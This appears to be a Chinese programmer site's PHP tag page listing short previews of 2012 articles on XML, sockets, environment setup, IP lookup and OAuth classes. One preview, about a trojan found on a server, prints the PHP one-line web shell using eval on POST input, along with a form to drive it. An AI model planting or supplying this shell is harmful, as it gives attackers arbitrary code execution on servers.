PHP_Tag标签_程序员俱乐部

中国优秀的程序员网站程序员频道CXYCLUB技术地图
热搜:
更多>>
 
当前位置:程序员俱乐部 >>Tag标签 >> PHP >>列表
· PHP in JVM发布时间:2012-05-05
http://quercus.caucho.comhttp://www.jvmhost.com/articles/run-php-applications-in-tomcat-7-with-php-java-bridgehttp://www.infoq.com/presentations/nicholson-php-jvmhttp://en.wikipedia.org/wiki/List_of_JVM_languages... 查看全文
· PHP 简单处理 XML发布时间:2012-05-05
PS:原创文章,如需转载,请注明出处,谢谢!本文地址:http://flyer0126.iteye.com/blog/1502504一、手动输出xml/**手动输出xml*@authorflyer0126*@since2012/4/27*/header("Content-Type:text/xml");print'<?xmlversion="1.0"?>'."\n";print"<shows>\n";$shows=array(array('name'=>'aa'... 查看全文
· PHP 对象、数组间的转换发布时间:2012-05-05
/***PHP对象、数组间的转换**@authorflyer0126*@since2012/05/03**///1.利用(array)和(object),简单处理$objTemp=(object)array();$objTemp->a=1;$objTemp->b=2;$objTemp->c=3;$arrTemp=(array)$objTemp;print_r($objTemp);print_r($arrTemp);/**stdClassObject([a]=>... 查看全文
本文通过非常快速的方式讲解了如何制作一个PHP5.2环境的扩展(PHPExtension),希望能够在图文的方式下让想快速学习的朋友了解一下制作过程。需求:比如开发一个叫做lanhaicode的扩展,扩展里就一个函数lanhai_test(),输入一个字符串,函数返回:Yourinputstring:xxxxx。要求:了解C/C++编程,熟悉PHP编程环境:下载一份php对应版本的源码,我这里是php-5.2.17,先正常安装php,假设我们的php安装在/usr/local/php目录... 查看全文
· 关于php一句话木马发布时间:2012-05-05
服务器上发现被植了很多木马,而且还让人肆意使用...NND<?php@eval($_POST['c']);?>使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行<html><body><formaction="a.php"method="post"><inputtype="text"name="c"value="phpinfo();"><inputtype="submit"value="submit">... 查看全文
· 关于PHP的strtoupper函数发布时间:2012-04-27
今天看到了PHP实现的标准扩展函数这一段,第一个挑了string相关的函数来看,毕竟这个是用的最多的。看到了strtoupper函数的实现。如下:char*php_strtoupper(char*s,size_tlen){unsignedchar*c,*e;c=(unsignedchar*)s;e=(unsignedchar*)c+len;while(c<e){*c=toupper(*c);c++;}returns;}第一感觉就是返回值和传入值是一个东西,而且经过该函数的处理... 查看全文
· PHP+SOCKET例子发布时间:2012-04-27
//Client//设置错误处理error_reporting(E_ALL);//设置处理时间set_time_limit(0);$ip="";//IP地址$port=1000;//端口号$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);//创建一个SOCKETif($socket)echo"socket_create()成功!<br>\n";elseecho"socket_create()失败:".socket_strerror... 查看全文
· PHP购物车类,移植于CodeIgniter发布时间:2012-04-27
<?php/***购物车程序ModifiedbyCodeIgniter**/classcart{//对产品ID和产品名称进行正则验证属性var$product_id_rules='\.a-z0-9_-';var$product_name_rules='\.\:\-_a-z0-9';//考虑到汉字,该功能暂不使用//私有变量var$_cart_contents=array();/***构造方法**/publicfunction__construct(){if($this->... 查看全文
· PHP获取IP所在地区发布时间:2012-04-27
示例一:$IpLocation=newIpLocation();$client=$IpLocation->getlocation();print_r($client);示例二:$IpLocation=newIpLocation('../qqwry/QQWry.Dat');$client=$IpLocation->getlocation('115.148.101.72');print_r($client);iplocation.class.phpclassIpLocation... 查看全文
· php 获取客户端的真实ip发布时间:2012-04-25
functionGetIP(){if(getenv("HTTP_CLIENT_IP")&&strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown"))$ip=getenv("HTTP_CLIENT_IP");elseif(getenv("HTTP_X_FORWARDED_FOR")&&strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown"))$ip=getenv... 查看全文
· window7 下apache整合php发布时间:2012-04-25
下载apache:地址:http://httpd.apache.org/download.cgi下载php:VC6x86ThreadSafe版本,http://windows.php.net/download/#php-5.2-ts-VC6-x86(必须为threadsafe)解压缩php,并拷贝至目录设置PHP,重命名php.ini-dist--->php.ini修改php.iniextension_dir="D:/dev/php/ext"doc_root=D:/workspace... 查看全文
首先我不是批判PHP程序员去尝试写自己的框架,自己开发一套框架绝对是提高编程能力的好方法。我想要讨论的是否需要自己开发一套框架用于公司的业务项目。有这样的想法是因为上周日去看一个朋友新开的创业项目,他招聘了一位PHP主程(薪资在15K/月)。这位主程在项目中使用的是自己开发的一套框架,框架的具体代码我没有看到,所以不能对框架的好坏做出评价。但是据说之后又招聘了几个PHP程序员,这些PHP程序员在主程眼里都感觉能力一般,工作不了多少时间就被辞退了。我询问朋友他的项目进程如何... 查看全文
· php后退一页发布时间:2012-04-25
用onclick="history.go(-1);"或onclick="history(back)";php表单在提交之后再后退,表单的内容默认是被清空的(使用session_start的时候),解决方法是在session_start()之后,字符输出之前写上header(“Cache-control:private”);网页的缓存是由HTTP消息头中的“Cache-control”来控制的,常见的取值有private、no-cache、max-age、must-revalidate等... 查看全文
· 用PHP执行shell命令发布时间:2012-04-24
PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。是否可以?答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可... 查看全文
IS环境下比较容易实现,可以通过独立“匿名访问账户”+NTFS权限来防止。查了一下,Apache下类似IIS的独立虚拟主机账户的方案貌似不太好实现,但有一种更简单的方法:就是在VirtualHost节中通过添加php_admin_valueopen_basedir/data/wwwroot/www.xxxxx.com来限制当前虚拟主机PHP的操作权限仅在/data/wwwroot/www.xxxx.com目录下。我用Phpspy测试了一下,果然很有效,未加该限制时可以列出文件)。注意... 查看全文
· PHP 的一些不太常用的特性 发布时间:2012-04-24
1.变量函数名,可以用字符串拼接函数名functionaa($str){echo$str;}$function="aa";$function('Hello');//ORcall_user_func($function,$param);2.列出所有函数,判断某个函数是否存在get_defined_functions()function_exist()3.接受PUT请求,PHPREST必备parse_str(file_get_contents('php://input'),$put_vars);4... 查看全文
· PHPWind 源码解析发布时间:2012-04-24
保留关键字函数类型字符串注释括号数字运算符预定义变量PHP开始结束标签global.phpQUOTE:<?php/****Copyright(c)2003-06PHPWind.net.Allrightsreserved.*Support:http://www.phpwind.net*ThissoftwareistheproprietaryinformationofPHPWind.com... 查看全文
· php编译参数发布时间:2012-04-24
http://huagelinux.blog.163.com/blog/static/8733708320102254546638... 查看全文
· linux下php环境搭建发布时间:2012-04-24
1.卸载自带的phprpm-qa|grepphpyum-yremovephp*2.tarzxvflibiconv-1.14.tar.gzcdlibiconv-1.14./configureprefix=/usr/local/libiconvmake&&makeinstall3.tar-zxvflibxml2-2.6.30.tar.gzcdlibxml2-2.6.30./configureprefix=/usr/local/libxml2/--enable... 查看全文
· QQ登录OAuth2.0 php接入类发布时间:2012-04-24
/****qq登录*@authorhttp://www.heui.org**/classOauth_qq{privatestatic$_instance;private$config=array();privatefunction__construct($config){$this->Oauth_qq($config);}publicstaticfunctiongetInstance($config){if(!isset(self::$_instance)){$c=__CLASS__... 查看全文